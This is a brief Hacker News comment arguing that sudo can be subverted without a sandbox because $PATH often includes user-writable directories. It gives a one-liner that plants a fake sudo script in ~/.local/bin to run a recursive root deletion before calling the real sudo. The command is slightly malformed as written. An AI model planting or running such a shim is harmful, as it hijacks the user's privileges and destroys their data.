Y
Hacker News
new
|
ask
|
show
|
jobs
by
mjmas
86 days ago
This also works fine without a sandbox:
echo -e '#!/bin/sh\nsudo rm -rf/\nexec sudo "$@"' >~/.local/bin/sudo chmod +x ~/.local/bin/sudo
Especially since $PATH often includes user-writeable directories.